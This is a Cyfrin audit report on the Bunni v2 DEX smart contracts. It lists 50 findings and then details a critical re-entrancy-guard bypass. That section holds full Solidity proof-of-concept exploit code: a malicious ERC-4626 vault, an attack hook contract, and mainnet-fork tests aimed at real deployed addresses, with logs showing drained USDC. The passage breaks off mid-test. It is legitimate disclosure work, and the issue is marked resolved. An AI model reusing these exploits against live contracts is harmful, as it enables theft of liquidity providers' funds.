Bunni v2 Audit Report

Prepared by Cyfrin

Version 2.1

Lead Auditors

Giovanni Di Siena

Draiakoo

Assisting Auditors

Pontifex

June 11, 2025

Contents

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Bunni v2 is DEX built on Uniswap v4 that aims to maximizes liquidity provider profits in all market conditions. Key features include: fully custom accounting based on various liquidity density functions; shapeshifting liquidity that allows the liquidity profile to morph as on-chain market conditions change; autonomous rebalancing executed via `FloodPlain`; volatility-sensitive dynamic/surge fees; rehypothecation into ERC-4626 vaults based on target ratios. Among other contracts, it is comprised of the canonical `BunniHook` and the central `BunniHub` which handles ERC-6909 claim token accounting for raw balances and vault reserves.

5 Audit Scope

All files present in the src directory of the Bunni repo at commit hash 344ec22 were included in the scope of the audit, except for the following exclusions:

- src/interfaces
- src/lib/SqrtPriceMath.sol
- src/lib/OrderHashMemory.sol
- src/lib/LiquidityAmounts.sol
- src/base/ERC20.sol
- src/base/Ownable.sol

The following pull requests were also considered as part of an additional follow-up scope during the mitigation review:

- PR #118 which allows Bunni liquidity to be used for rebalances.
- PR #129 which, along with commit 4f84c95, mitigates a self-reported issue with the hooklet surge fee override.

- PR #130 which implements protocol fee changes.
- PR #131 which reduces bytecode size following relevant mitigations.
- PR #132 which replaces the referral system with a curator fee.

6 Executive Summary

Over the course of 40 days, the Cyfrin team conducted an audit on the Bunni v2 smart contracts provided by Bacon Labs. In this period, a total of 50 issues were found.

This review yielded a total of 1 critical, 1 high, and 16 medium severity vulnerabilities. The critical-severity mainnet vulnerability, publicly disclosed here, notably uncovered $7.33M at risk at the time of reporting by weaponising the ability to deploy Bunni pools with arbitrary (malicious) hooks/vaults and bypassing the intended re-entrancy guard to drain all protocol reserves. The high-severity issue is ideally resolved by an upstream fix to Flood.bid to prevent address spoofing during malicious fulfiller callbacks executed within pre/post hooks. Various other less immediately severe issues were identified relating to edge case behaviors and missing validation in LDFs and handling vault deposits/fees.

The custom Bunni swap math and associated rounding behavior was another area of significant concern. While the existing stateless fuzz tests have already uncovered a number of edge cases that are now explicitly handled within the logic, this remains an area of great sensitivity. No additional issues were identified, though the interplay between Uniswap v3 and Bunni swap math for the range of given LDFs is complex and should remain an area of particular focus.

Considering the number of issues identified, it is statistically likely that there are more complex bugs still present that could not be identified given the time-boxed nature of this engagement. Due to the number of issues identified, the non-trivial changes required during mitigation, and the short turnaround time for reviewing the mitigation fixes, it is recommended that a follow-up audit and development of a more complex stateful fuzz test suite be undertaken prior to continuing to deploy significant monetary capital to production.

Summary

Project Name	Bunni v2
Repository	bunni-v2
Commit	344ec228f5eb...
Audit Timeline	Mar 24th - May 16th
Methods	Manual Review, Stateful Fuzzing

Issues Found

Critical Risk	1
High Risk	1
Medium Risk	16
Low Risk	7
Informational	20
Gas Optimizations	5
Total Issues	50

Summary of Findings

[C-1] Pools configured with a malicious hook can bypass the `BunniHub` re-entrancy guard to drain all raw balances and vault reserves of legitimate pools	Resolved
[H-1] `FloodPlain` selector extension does not prevent `IFulfiller::sourceConsideration` callback from being called within pre/post hooks	Acknowledged
[M-01] Hooklet token transfer hooks will reference the incorrect sender due to missing use of `LibMulticaller.senderOrSigner()`	Resolved
[M-02] Broken block time assumptions affect am-AMM epoch duration and can DoS rebalancing on Arbitrum	Resolved
[M-03] DoS of Bunni pools when raw balance is outside limits but vaults do not accept additional deposits	Resolved
[M-04] DoS of Bunni pools configured with dynamic LDFs due to insufficient validation of post-shift tick bounds	Resolved
[M-05] Various vault accounting inconsistencies and potential unhandled reverts	Resolved
[M-06] Incorrect oracle truncation allows successive observations to exceed `MAX_ABS_TICK_MOVE`	Acknowledged
[M-07] Missing `LDFType` type validation against `ShiftMode` can result in losses due disabled surge fees	Resolved
[M-08] am-AMM fees could be incorrectly used by rebalance mechanism as order input	Resolved
[M-09] Idle balance is computed incorrectly when an incorrect vault fee is specified	Resolved
[M-10] Potential cross-contract re-entrancy between `BunniHub::deposit` and `BunniToken` can corrupt Hooklet state	Resolved
[M-11] Inconsistent Hooklet data provisioning for rebalancing operations	Resolved
[M-12] Swap fees can exceed 100%, causing unexpected reverts or overcharging	Resolved
[M-13] `OracleUniGeoDistribution` oracle tick validation is flawed	Resolved
[M-14] `BunniHook::beforeSwap` does not account for vault fees paid when adjusting raw token balances which could result in small losses to liquidity providers	Resolved
[M-15] Incorrect bond/stablecoin pair decimals assumptions in `OracleUniGeoDistribution`	Acknowledged
[M-16] Collision between rebalance order consideration tokens and am-AMM fees for Bunni pools using Bunni tokens	Resolved
[L-1] Token transfer hooks should be invoked at the end of execution to prevent the hooklet executing over intermediate state	Resolved
[L-2] Potentially dirty upper bits of narrow types could affect allowance computations in `ERC20Referrer`	Resolved
[L-3] `LibBuyTheDipGeometricDistribution::cumulativeAmount0` will always return 0 due to insufficient `alphaX96` validation	Resolved

[L-4] Queued withdrawals should use an external protocol-owned unlocker to prevent `BunniHub` earning referral rewards	Acknowledged
[L-5] Potential erroneous surging when vault token decimals differ from the underlying asset	Resolved
[L-6] Missing validation in `BunniQuoter` results in incorrect quotes	Resolved
[L-7] Before swap delta can exceed the actual specified amount for exact input swaps due to rounding	Acknowledged
[I-01] References to missing am-AMM overrides should be removed	Resolved
[I-02] Outdated references to implementation details in `ERC20Referrer` should be replaced	Resolved
[I-03] Unused errors can be removed	Resolved
[I-04] Bunni tokens can be deployed with arbitrary hooks	Resolved
[I-05] Unused return values can be removed	Resolved
[I-06] Missing early return case in `AmAmm::_updateAmAmmView`	Resolved
[I-07] Infinite Permit2 approval is not recommended	Resolved
[I-08] `idleBalance` argument is missing from `QueryLDF::queryLDF` NatSpec	Resolved
[I-09] Uniswap v4 vendored library mismatch	Resolved
[I-10] Unused constants can be removed	Resolved
[I-11] `LibUniformDistribution::decodeParams` logic can be simplified	Resolved
[I-12] Potential for blockchain explorer griefing due to successful zero value transfers from non-approved callers	Acknowledged
[I-13] `GeometricDistribution` LDF length validation prevents the full range of usable ticks from being used	Acknowledged
[I-14] Insufficient slippage protection in `BunniHub::deposit`	Acknowledged
[I-15] Hooklet validation is recommended upon deploying new Bunni tokens	Acknowledged
[I-16] `BuyTheDipGeometricDistribution` parameter encoding documentation is inconsistent	Acknowledged
[I-17] Typographical error in `BunniHookLogic::beforeSwap` should be corrected	Resolved
[I-18] Unchecked queue withdrawal timestamp logic is implemented incorrectly	Resolved
[I-19] Inconsistent rounding directions should be clarified and standardized	Resolved
[I-20] Just in time (JIT) liquidity can be used to inflate rebalance order amounts	Acknowledged
[G-1] Unnecessary `currency1` native token checks	Resolved
[G-2] Unnecessary stack variable can be removed	Resolved
[G-3] Superfluous conditional branches can be combined	Resolved
[G-4] am-AMM fee validation can be simplified	Acknowledged
[G-5] Unnecessary conditions can be removed from `LibUniformDistribution` conditionals	Resolved

7 Findings

7.1 Critical Risk

7.1.1 Pools configured with a malicious hook can bypass the BunniHub re-entrancy guard to drain all raw balances and vault reserves of legitimate pools

Description: The BunniHub is the main contract that both holds and accounts the raw balances and vault reserves that each pool has deposited. It inherits ReentrancyGuard which implements the nonReentrant modifier:

```
modifier nonReentrant() {
    _nonReentrantBefore();
    _;
    _nonReentrantAfter();
}

function _nonReentrantBefore() internal {
    uint256 statusSlot = STATUS_SLOT;
    uint256 status;
    /// @solidity memory-safe-assembly
    assembly {
        status := tload(statusSlot)
    }
    if (status == ENTERED) revert ReentrancyGuard__ReentrantCall();

    uint256 entered = ENTERED;
    /// @solidity memory-safe-assembly
    assembly {
        tstore(statusSlot, entered)
    }
}

function _nonReentrantAfter() internal {
    uint256 statusSlot = STATUS_SLOT;
    uint256 notEntered = NOT_ENTERED;
    /// @solidity memory-safe-assembly
    assembly {
        tstore(statusSlot, notEntered)
    }
}
```

During the rebalance of a Bunni pool, it is intended to separate this re-entrancy logic into before/after hooks. These functions re-use the same global re-entrancy guard transient storage slot to lock the BunniHub against any potential re-entrant execution by a malicious fulfiller:

```
function lockForRebalance(PoolKey calldata key) external notPaused(6) {
    if (address(_getBunniTokenOfPool(key.toId())) == address(0)) revert
    ↪  BunniHub__BunniTokenNotInitialized();
    if (msg.sender != address(key.hooks)) revert BunniHub__Unauthorized();
    _nonReentrantBefore();
}

function unlockForRebalance(PoolKey calldata key) external notPaused(7) {
    if (address(_getBunniTokenOfPool(key.toId())) == address(0)) revert
    ↪  BunniHub__BunniTokenNotInitialized();
    if (msg.sender != address(key.hooks)) revert BunniHub__Unauthorized();
    _nonReentrantAfter();
}
```

However, since the hook of a Bunni pool is not constrained to be the canonical BunniHook implementation, anyone can create a malicious hook that calls unlockForRebalance() directly to unlock the reentrancy guard:

```
function deployBunniToken(HubStorage storage s, Env calldata env, IBunniHub.DeployBunniTokenParams
↪   calldata params)
    external
    returns (IBunniToken token, PoolKey memory key)
{
    ...

    // ensure hook params are valid
    if (address(params.hooks) == address(0)) revert BunniHub__HookCannotBeZero();
    if (!params.hooks.isValidParams(params.hookParams)) revert BunniHub__InvalidHookParams();

    ...
}
```

The consequence of this behavior is that the re-entrancy protection is bypassed for all `BunniHub` functions to which the `nonReentrant` modifier is applied. This is especially problematic for `hookHandleSwap()` which allows the calling hook to deposit and withdraw funds accounted to the corresponding pool. To summarise, this function:

1. Caches raw balances and vault reserves.
2. Transfers ERC-6909 input tokens from the hook to the `BunniHub`.
3. Attempts to transfer ERC-6909 output tokens to the hook and withdraws reserves from the specified vault if it has insufficient raw balance.
4. Attempts to reach `targetRawbalance` for `token0` by depositing or withdrawing funds to/from the corresponding vault.
5. Attempts to reach `targetRawbalance` for `token1` by depositing or withdrawing funds to/from the corresponding vault.
6. Updates the storage state by **setting**, rather than incrementing or decrementing, the cached raw balances and vault reserves.

Initially, it does not appear possible to re-enter due to transfers in ERC-6909 tokens; however, the possibility exists to create a malicious vault that, upon attempting to reach the `targetRawBalance` using the deposit or withdraw functions, routes execution back to the hook in order to re-enter the function. Given the pool storage state is cached and updated at the end of execution, it is possible for the hook to withdraw up to its accounted balance on each re-entrant invocation. After a sufficiently large recurson depth, the state will be updated by setting the storage variables to the cached state, bypassing any underflow due to insufficient funds accounted to the hook.

A very similar attack vector is present in the `withdraw()` function, in which re-entrant calls to recursively burn a fraction of malicious pool shares can access more than the accounted hook balances. This is again possible because intermediate execution is over the cached pool state which is updated only after each external call to the vault(s). If the vault corresponding to `token0` is malicious, unlocks the `BunniHub` through a malicious hook as described above, and then attempts to withdraw a smaller fraction of the Bunni share tokens such that the total burned amount does not overflow the available balance, the entire `token1` reserve can be drained.

```
    function withdraw(HubStorage storage s, Env calldata env, IBunniHub.WithdrawParams calldata params)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /// -----------------------------------------------------------------------
        /// Validation
        /// -----------------------------------------------------------------------

        if (!params.useQueuedWithdrawal && params.shares == 0) revert BunniHub__ZeroInput();

        PoolId poolId = params.poolKey.toId();
@>      PoolState memory state = getPoolState(s, poolId);

        ...
        uint256 currentTotalSupply = state.bunniToken.totalSupply();
        uint256 shares;

        // burn shares
        if (params.useQueuedWithdrawal) {
            ...
        } else {
            shares = params.shares;
            state.bunniToken.burn(msgSender, shares);
        }
        // at this point of execution we know shares <= currentTotalSupply
        // since otherwise the burn() call would've reverted

        // compute token amount to withdraw and the component amounts

        uint256 reserveAmount0 =
            getReservesInUnderlying(state.reserve0.mulDiv(shares, currentTotalSupply), state.vault0);
        uint256 reserveAmount1 =
            getReservesInUnderlying(state.reserve1.mulDiv(shares, currentTotalSupply), state.vault1);

        uint256 rawAmount0 = state.rawBalance0.mulDiv(shares, currentTotalSupply);
        uint256 rawAmount1 = state.rawBalance1.mulDiv(shares, currentTotalSupply);

        amount0 = reserveAmount0 + rawAmount0;
        amount1 = reserveAmount1 + rawAmount1;

        if (amount0 < params.amount0Min || amount1 < params.amount1Min) {
            revert BunniHub__SlippageTooHigh();
        }

        // decrease idle balance proportionally to the amount removed
        {
            (uint256 balance, bool isToken0) = IdleBalanceLibrary.fromIdleBalance(state.idleBalance);
            uint256 newBalance = balance - balance.mulDiv(shares, currentTotalSupply);
            if (newBalance != balance) {
                s.idleBalance[poolId] = newBalance.toIdleBalance(isToken0);
            }
        }

        /// -----------------------------------------------------------------------
        /// External calls
        /// -----------------------------------------------------------------------

        // withdraw reserve tokens
        if (address(state.vault0) != address(0) && reserveAmount0 != 0) {
            // vault used
            // withdraw reserves
@>          uint256 reserveChange = _withdrawVaultReserve(
                reserveAmount0, params.poolKey.currency0, state.vault0, params.recipient, env.weth
            );
            s.reserve0[poolId] = state.reserve0 - reserveChange;
        }
        if (address(state.vault1) != address(0) && reserveAmount1 != 0) {
            // vault used
            // withdraw from reserves
@>          uint256 reserveChange = _withdrawVaultReserve(
                reserveAmount1, params.poolKey.currency1, state.vault1, params.recipient, env.weth
            );
            s.reserve1[poolId] = state.reserve1 - reserveChange;
        }
        // withdraw raw tokens
        env.poolManager.unlock(
            abi.encode(
                BunniHub.UnlockCallbackType.WITHDRAW,
                abi.encode(params.recipient, params.poolKey, rawAmount0, rawAmount1)
            )
        );

        ...
    }
```

This vector is notably more straightforward as the pulled reserve tokens are transferred immediately to the caller:

```
function _withdrawVaultReserve(uint256 amount, Currency currency, ERC4626 vault, address user, WETH
↪   weth)
    internal
    returns (uint256 reserveChange)
{
    if (currency.isAddressZero()) {
        // withdraw WETH from vault to address(this)
        reserveChange = vault.withdraw(amount, address(this), address(this));

        // burn WETH for ETH
        weth.withdraw(amount);

        // transfer ETH to user
        user.safeTransferETH(amount);
    } else {
        // normal ERC20
        reserveChange = vault.withdraw(amount, user, address(this));
    }
}
```

A slightly less impactful but still critical alternative would be for a malicious fulfiller of a Flood Plain rebalance order to re-enter during the `IFulfiller::sourceConsideration` call. This assumes that the attacker holds the top bid and is set as the am-AMM manager. It is equivalent to the Pashov Group finding C-03 and remains possible despite the implementation of the recommended mitigation due to the re-entrancy guard override described above.

Proof of Concept: To run the following PoCs:

- Add the following malicious vault implementation inside `test/mocks/ERC4626Mock.sol`:

```
interface MaliciousHook {
    function continueAttackFromMaliciousVault() external;
}

contract MaliciousERC4626 is ERC4626 {
    address internal immutable _asset;
    MaliciousHook internal immutable maliciousHook;
    bool internal attackStarted;

    constructor(IERC20 asset_, address _maliciousHook) {
        _asset = address(asset_);
        maliciousHook = MaliciousHook(_maliciousHook);
    }

    function asset() public view override returns (address) {
        return _asset;
    }

    function name() public pure override returns (string memory) {
        return "MockERC4626";
    }

    function symbol() public pure override returns (string memory) {
        return "MOCK-ERC4626";
    }

    function setupAttack() external {
        attackStarted = true;
    }

    function previewRedeem(uint256 shares) public view override returns (uint256 assets) {
        return type(uint128).max;
    }

    function withdraw(uint256 assets, address to, address owner) public override returns(uint256
    ↪   shares){
        if(attackStarted) {
            maliciousHook.continueAttackFromMaliciousVault();
        } else {
            return super.withdraw(assets, to, owner);
        }
    }

    function deposit(uint256 assets, address to) public override returns(uint256 shares){
        if(attackStarted) {
            maliciousHook.continueAttackFromMaliciousVault();
        } else {
            return super.deposit(assets, to);
        }
    }
}
```

This vault implementation is just a normal ERC-4626 that can be switched into forwarding the execution to a malicious hook during withdraw and deposit functions. These are the methods that the BunniHub will use in order to reach the targetRawBalance.

- Inside test/BaseTest.sol, change the following import:

```
--  import {ERC4626Mock} from "./mocks/ERC4626Mock.sol";
++  import {ERC4626Mock, MaliciousERC4626} from "./mocks/ERC4626Mock.sol";
```

- Inside test/BunniHub.t.sol, paste the following malicious hook contract outside of the BunniHubTest contract:

```
import {IAmAmm} from "biddog/interfaces/IAmAmm.sol";

enum Vector {
    HOOK_HANDLE_SWAP,
    WITHDRAW
}

contract CustomHook {
    uint256 public reentrancyIterations;
    uint256 public iterationsCounter;
    IBunniHub public hub;
    PoolKey public key;
    address public vault;
    Vector public vec;
    uint256 public amountOfReservesToWithdraw;
    uint256 public sharesToWithdraw;
    IPoolManager public poolManager;
    IPermit2 internal constant PERMIT2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);
```

```
function isValidParams(bytes calldata hookParams) external pure returns (bool) {
    return true;
}

function slot0s(PoolId id)
    external
    view
    returns (uint160 sqrtPriceX96, int24 tick, uint32 lastSwapTimestamp, uint32 lastSurgeTimestamp)
{
    int24 minTick = TickMath.MIN_TICK;
    (sqrtPriceX96, tick, lastSwapTimestamp, lastSurgeTimestamp) =
    ↪  (TickMath.getSqrtPriceAtTick(tick), tick, 0, 0);
}

function getTopBidWrite(PoolId id) external view returns (IAmAmm.Bid memory topBid) {
    topBid = IAmAmm.Bid({manager: address(0), blockIdx: 0, payload: 0, rent: 0, deposit: 0});
}

function getAmAmmEnabled(PoolId id) external view returns (bool) {
    return false;
}

function canWithdraw(PoolId id) external view returns (bool) {
    return true;
}

function afterInitialize(address caller, PoolKey calldata key, uint160 sqrtPriceX96, int24 tick)
    external
    returns (bytes4)
{
    return BunniHook.afterInitialize.selector;
}

function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams calldata params,
↪   bytes calldata)
    external
    returns (bytes4, int256, uint24)
{
    return (BunniHook.beforeSwap.selector, 0, 0);
}

function depositInitialReserves(
    address token,
    uint256 amount,
    address _hub,
    IPoolManager _poolManager,
    PoolKey memory _key,
    bool zeroForOne
) external {
    key = _key;
    hub = IBunniHub(_hub);
    poolManager = _poolManager;
    poolManager.setOperator(_hub, true);
    poolManager.unlock(abi.encode(uint8(0), token, amount, msg.sender, zeroForOne));
    poolManager.unlock(abi.encode(uint8(1), address(0), amount, msg.sender, zeroForOne));
}

function mintERC6909(address token, uint256 amount) external {
    poolManager.unlock(abi.encode(uint8(0), token, amount, msg.sender, true));
}
```

```
function mintBunniToken(PoolKey memory _key, uint256 _amount0, uint256 _amount1)
    external
    returns (uint256 shares)
{
    IERC20(Currency.unwrap(_key.currency0)).transferFrom(msg.sender, address(this), _amount0);
    IERC20(Currency.unwrap(_key.currency1)).transferFrom(msg.sender, address(this), _amount1);

    IERC20(Currency.unwrap(_key.currency0)).approve(address(PERMIT2), _amount0);
    IERC20(Currency.unwrap(_key.currency1)).approve(address(PERMIT2), _amount1);
    PERMIT2.approve(Currency.unwrap(_key.currency0), address(hub), uint160(_amount0),
    ↪   type(uint48).max);
    PERMIT2.approve(Currency.unwrap(_key.currency1), address(hub), uint160(_amount1),
    ↪   type(uint48).max);

    (shares,,) = IBunniHub(hub).deposit(
        IBunniHub.DepositParams({
            poolKey: _key,
            amount0Desired: _amount0,
            amount1Desired: _amount1,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp,
            recipient: address(this),
            refundRecipient: address(this),
            vaultFee0: 0,
            vaultFee1: 0,
            referrer: address(0)
        })
    );
}

function unlockCallback(bytes calldata data) external returns (bytes memory result) {
    (uint8 mode, address token, uint256 amount, address spender, bool zeroForOne) =
        abi.decode(data, (uint8, address, uint256, address, bool));
    if (mode == 0) {
        poolManager.sync(Currency.wrap(token));
        IERC20(token).transferFrom(spender, address(poolManager), amount);
        uint256 deltaAmount = poolManager.settle();
        poolManager.mint(address(this), Currency.wrap(token).toId(), deltaAmount);
    } else if (mode == 1) {
        hub.hookHandleSwap(key, zeroForOne, amount, 0);
    } else if (mode == 2) {
        hub.hookHandleSwap(key, false, 1, amountOfReservesToWithdraw);
    }
}

function initiateAttack(
    IBunniHub _hub,
    PoolKey memory _key,
    address _targetVault,
    uint256 _amountToWithdraw,
    Vector _vec,
    uint256 iterations
) public {
    reentrancyIterations = iterations;
    hub = _hub;
    key = _key;
    vault = _targetVault;
    vec = _vec;
    if (vec == Vector.HOOK_HANDLE_SWAP) {
        amountOfReservesToWithdraw = _amountToWithdraw;
```

```
            poolManager.unlock(abi.encode(uint8(2), address(0), amountOfReservesToWithdraw, msg.sender,
            ↪  true));
        } else if (vec == Vector.WITHDRAW) {
            sharesToWithdraw = _amountToWithdraw;
            hub.withdraw(
                IBunniHub.WithdrawParams({
                    poolKey: _key,
                    recipient: address(this),
                    shares: sharesToWithdraw,
                    amount0Min: 0,
                    amount1Min: 0,
                    deadline: block.timestamp,
                    useQueuedWithdrawal: false
                })
            );
        }
    }

    function continueAttackFromMaliciousVault() public {
        if (iterationsCounter != reentrancyIterations) {
            iterationsCounter++;
            disableReentrancyGuard();

            if (vec == Vector.HOOK_HANDLE_SWAP) {
                hub.hookHandleSwap(
                    key, false, 1, /* amountToDeposit to trigger the updateIfNeeded */
                    ↪  amountOfReservesToWithdraw
                );
            } else if (vec == Vector.WITHDRAW) {
                sharesToWithdraw /= 2;

                hub.withdraw(
                    IBunniHub.WithdrawParams({
                        poolKey: key,
                        recipient: address(this),
                        shares: sharesToWithdraw,
                        amount0Min: 0,
                        amount1Min: 0,
                        deadline: block.timestamp,
                        useQueuedWithdrawal: false
                    })
                );
            }
        }
    }

    function disableReentrancyGuard() public {
        hub.unlockForRebalance(key);
    }

    fallback() external payable {}
}
```

- With all of the above, this test can be run from inside `test/BunniHub.t.sol`:

```
function test_ForkHookHandleSwapDrainRawBalancePoC() public {
    uint256 mainnetFork;
    string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
    mainnetFork = vm.createFork(MAINNET_RPC_URL);
    vm.selectFork(mainnetFork);
    vm.rollFork(22347121);
```

```
address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address USDCVault = 0x3b028b4b6c567eF5f8Ca1144Da4FbaA0D973F228; // Euler vault

IERC20 token0 = IERC20(USDC);
IERC20 token1 = IERC20(WETH);
poolManager = IPoolManager(0x000000000004444c5dc75cB358380D2e3dE08A90);
hub = IBunniHub(0x000000DCeb71f3107909b1b748424349bfde5493);
bunniHook = BunniHook(payable(0x0010d0D5dB05933Fa0D9F7038D365E1541a41888));

// 1. Create the malicious pool linked to the malicious hook
bytes32 salt;
unchecked {
    bytes memory creationCode = abi.encodePacked(type(CustomHook).creationCode);
    uint256 offset;
    while (true) {
        salt = bytes32(offset);
        address deployed = computeAddress(address(this), salt, creationCode);
        if (uint160(bytes20(deployed)) & Hooks.ALL_HOOK_MASK == HOOK_FLAGS && deployed.code.length
        ↪  == 0) {
            break;
        }
        offset++;
    }
}
address customHook = address(new CustomHook{salt: salt}());

// 2. Create the malicious vault
MaliciousERC4626 maliciousVault = new MaliciousERC4626(token1, customHook);
token1.approve(address(maliciousVault), type(uint256).max);
deal(address(token1), address(maliciousVault), 1 ether);

// 3. Register the malicious pool to steal reserve balances
(, PoolKey memory maliciousKey) = hub.deployBunniToken(
    IBunniHub.DeployBunniTokenParams({
        currency0: Currency.wrap(address(token0)),
        currency1: Currency.wrap(address(token1)),
        tickSpacing: TICK_SPACING,
        twapSecondsAgo: TWAP_SECONDS_AGO,
        liquidityDensityFunction: new MockLDF(address(hub), address(customHook), address(quoter)),
        hooklet: IHooklet(address(0)),
        ldfType: LDFType.STATIC,
        ldfParams: bytes32(abi.encodePacked(ShiftMode.BOTH, int24(-3) * TICK_SPACING, int16(6),
        ↪  ALPHA)),
        hooks: BunniHook(payable(customHook)),
        hookParams: "",
        vault0: ERC4626(address(USDCVault)),
        vault1: ERC4626(address(maliciousVault)),
        minRawTokenRatio0: 1e6,         // set to 100% to have all funds in raw balance
        targetRawTokenRatio0: 1e6,      // set to 100% to have all funds in raw balance
        maxRawTokenRatio0: 1e6,         // set to 100% to have all funds in raw balance
        minRawTokenRatio1: 0,           // set to 0% to trigger a deposit upon transferring 1 token
        targetRawTokenRatio1: 0,        // set to 0% to trigger a deposit upon transferring 1 token
        maxRawTokenRatio1: 0,           // set to 0% to trigger a deposit upon transferring 1 token
        sqrtPriceX96: TickMath.getSqrtPriceAtTick(4),
        name: bytes32("MaliciousBunniToken"),
        symbol: bytes32("BAD-BUNNI-LP"),
        owner: address(this),
        metadataURI: "metadataURI",
        salt: bytes32(keccak256("malicious"))
    })
);
```

```
    // 4. Make a deposit to the malicious pool to have accounted some reserves of vault0 and initiate
    ↪  attack
    uint256 initialToken0Deposit = 10_000e6; // Using a big amount in order to not execute too many
    ↪  reentrancy iterations, but it works with whatever amount
    deal(address(token0), address(this), initialToken0Deposit);
    deal(address(token1), address(this), initialToken0Deposit);
    token0.approve(customHook, initialToken0Deposit);
    token1.approve(customHook, initialToken0Deposit);
    CustomHook(payable(customHook)).depositInitialReserves(
        address(token0), initialToken0Deposit, address(hub), poolManager, maliciousKey, true
    );
    CustomHook(payable(customHook)).mintERC6909(address(token1), initialToken0Deposit);

    console.log(
        "BunniHub token0 raw balance before",
        poolManager.balanceOf(address(hub), Currency.wrap(address(token0)).toId())
    );
    console.log("BunniHub token0 vault reserve before", ERC4626(USDCVault).balanceOf(address(hub)));
    console.log(
        "MaliciousHook token0 balance before",
        poolManager.balanceOf(customHook, Currency.wrap(address(token0)).toId())
    );
    maliciousVault.setupAttack();
    CustomHook(payable(customHook)).initiateAttack(
        IBunniHub(address(hub)),
        maliciousKey,
        USDCVault,
        initialToken0Deposit,
        Vector.HOOK_HANDLE_SWAP,
        20
    );
    console.log(
        "BunniHub token0 raw balance after",
        poolManager.balanceOf(address(hub), Currency.wrap(address(token0)).toId())
    );
    console.log("BunniHub token0 vault reserve after", ERC4626(USDCVault).balanceOf(address(hub)));
    console.log(
        "MaliciousHook token0 balance after",
        poolManager.balanceOf(customHook, Currency.wrap(address(token0)).toId())
    );
    console.log(
        "Stolen USDC",
        poolManager.balanceOf(customHook, Currency.wrap(address(token0)).toId()) - initialToken0Deposit
    );
}
```

The execution does the following:

1. Calls `depositInitialReserves()` from the malicious hook which essentially deposits and accounts some raw balance into `BunniHub`.
2. Calls the `hookHandleSwap()` function inside `BunniHub` to withdraw the previously deposited amount.
3. The `BunniHub` transfers the tokens to the hook.
4. The `hookHandleSwap()` tries to reach the `targetRawBalance` of token1 and calls the `deposit()` into the malicious vault which forwards the execution back to the malicious hook.
5. The malicious hook calls the `unlockForRebalance()` function to disable the reentrancy protection.
6. The malicious hook reenters the `hookHandleSwap()` function the same way as step 2.

Once the function has been re-entered a sufficient number of times to drain all raw balances, the state will be set to

0 instead of decrementing, avoiding an underflow. The end result will be the malicious hook owning all ERC-6909 tokens previously held by the `BunniHub`.

Output:

```
Ran 1 test for test/BunniHub.t.sol:BunniHubTest
[PASS] test_ForkHookHandleSwapDrainRawBalancePoC() (gas: 20540027)
Logs:
  BunniHub token0 raw balance before 219036268296
  BunniHub token0 vault reserve before 388807745471
  MaliciousHook token0 balance before 0
  BunniHub token0 raw balance after 9036268296
  BunniHub token0 vault reserve after 388807745471
  MaliciousHook token0 balance after 210000000000
  Stolen USDC 200000000000
```

It is also possible to drain all vault reserves held by the `BunniHub` by modifying the token ratio bounds of the malicious hook as follows:

```
minRawTokenRatio0: 0,           // set to 0% in order to have all deposited funds accounted into the
↪  vault
targetRawTokenRatio0: 0,        // set to 0% in order to have all deposited funds accounted into the
↪  vault
maxRawTokenRatio0: 0,           // set to 0% in order to have all deposited funds accounted into the
↪  vault
```

With this modification, the target raw balance for the vault to drain is set to 0% in order to have all the liquidity accounted into the vault. This way, when the `BunniHub` attempts to transfer the funds to the hook, it will have to withdraw the funds from the vault which can be exploited to repeatedly burn vault shares from other pools.

The attack setup should also be modified slightly to calculate the optimal number of iterations:

~~~
uint256 sharesToMint = ERC4626(USDCVault).previewDeposit(initialToken0Deposit) - 1e6;
CustomHook(payable(customHook)).initiateAttack(
    IBunniHub(address(hub)),
    maliciousKey,
    USDCVault,
    sharesToMint,
    Vector.HOOK_HANDLE_SWAP,
    ERC4626(USDCVault).balanceOf(address(hub)) / sharesToMint
);

Output:
```bash
Ran 1 test for test/BunniHub.t.sol:BunniHubTest
[PASS] test_ForkHookHandleSwapDrainReserveBalancePoC() (gas: 23881409)
Logs:
  BunniHub token0 raw balance before 209036268296
  BunniHub token0 vault reserve before 398583692087
  MaliciousHook token0 balance before 0
  BunniHub token0 raw balance after 209036268296
  BunniHub token0 vault reserve after 6790331257
  MaliciousHook token0 balance after 400772811256
  Stolen USDC 390772811256
~~~

A similar attack can be executed through withdrawal of malicious Bunni token shares as shown in the PoC below:

```
function test_ForkWithdrawPoC() public {
    uint256 mainnetFork;
    string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
    mainnetFork = vm.createFork(MAINNET_RPC_URL);
    vm.selectFork(mainnetFork);
```

```
vm.rollFork(22347121);

address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address USDCVault = 0x3b028b4b6c567eF5f8Ca1144Da4FbaA0D973F228; // Euler vault

IERC20 token0 = IERC20(WETH);
IERC20 token1 = IERC20(USDC);

while (address(token0) > address(token1)) {
    token0 = IERC20(address(new ERC20Mock()));
}

poolManager = IPoolManager(0x000000000004444c5dc75cB358380D2e3dE08A90);
hub = IBunniHub(0x000000DCeb71f3107909b1b748424349bfde5493);
bunniHook = BunniHook(payable(0x0010d0D5dB05933Fa0D9F7038D365E1541a41888));

// 1. Create the malicious pool linked to the malicious hook
bytes32 salt;
unchecked {
    bytes memory creationCode = abi.encodePacked(type(CustomHook).creationCode);
    uint256 offset;
    while (true) {
        salt = bytes32(offset);
